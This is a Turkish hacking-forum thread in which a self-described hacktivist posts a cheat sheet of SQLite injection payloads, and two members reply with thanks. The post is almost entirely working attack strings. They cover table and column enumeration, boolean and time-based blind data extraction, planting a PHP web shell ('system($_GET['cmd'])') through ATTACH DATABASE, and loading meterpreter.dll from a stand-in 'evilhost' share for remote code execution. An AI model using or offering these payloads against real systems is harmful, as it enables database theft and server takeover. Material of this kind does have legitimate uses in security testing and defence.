Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: SQLite Enjeksiyon Payload Örnekleri
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 56
Yaşam Puanı: 1,386 / 1,386
Deneyim: 47 / 100
Rep Sayısı: 2880
Mesaj Sayısı: 6516
Üyelik Tarihi: 21.08.2013
     
Yorum: #1
SQLite Enjeksiyon Payload Örnekleri
10.02.2019 14:42
SQLite Enjeksiyon Payload Örnekleri

Author : KingSkrupellos
Team : Cyberizm Digital Security Team

## SQLite comments

Kod:
```sql
--
/**/
```

## SQLite version

Kod:
```sql
select sqlite_version();
```

## Integer/String based - Extract table name

Kod:
```sql
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```

Use limit X+1 offset X, to extract all tables.

Kod:
## Integer/String based - Extract column name

[code]```sql
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```

For a clean output

Kod:
```sql
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(​substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'​')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```

## Boolean - Count number of tables

Kod:
```sql
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
```

## Boolean - Enumerating table name

Kod:
```sql
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```

## Boolean - Extract info

Kod:
```sql
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```

## Time based

Kod:
```sql
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```

## Remote Command Execution using SQLite command - Attach Database

Kod:
```sql
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
```

## Remote Command Execution using SQLite command - Load_extension

Kod:
```sql
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
```

Note: By default this component is disabled

___________________________________________

$$$$$$$ THE END $$$$$$$$

# Cyberizm Digital Security Technological Turkish Moslem Army #
# İnsanda bir organ vardır. Eğer o sağlıklı ise bütün vücut sağlıklı olur;
eğer o bozulursa bütün vücut bozulur. Dikkat edin! O, kalptir.
[ Hz.Muhammed S.A.V ] #


Alinti
Rep Verenler: MECZUP
MECZUP
*
avatar
Binbaşı
Durum: Çevrimdışı
Seviye Puanı: 29
Yaşam Puanı: 715 / 715
Deneyim: 62 / 100
Rep Sayısı: 41
Mesaj Sayısı: 1146
Üyelik Tarihi: 18.12.2017
      
Yorum: #2
RE: SQLite Enjeksiyon Payload Örnekleri
10.02.2019 15:15
Teşekkürler, Emeğine Sağlık Smile

Meczup Official

VarsaYoksa Cyberizm
Alinti
#Ayar
*
avatar
Tabutçu
Durum: Çevrimdışı
Seviye Puanı: 36
Yaşam Puanı: 748 / 880
Deneyim: 22 / 100
Rep Sayısı: 1579
Mesaj Sayısı: 1897
Üyelik Tarihi: 13.08.2013
      
Yorum: #3
RE: SQLite Enjeksiyon Payload Örnekleri
11.02.2019 11:42
Teşekkürler, Emeğine Sağlık Smile

Başka forumlarda üyeliğim bulunmamaktadır.
ayar
Alinti



1 Ziyaretçi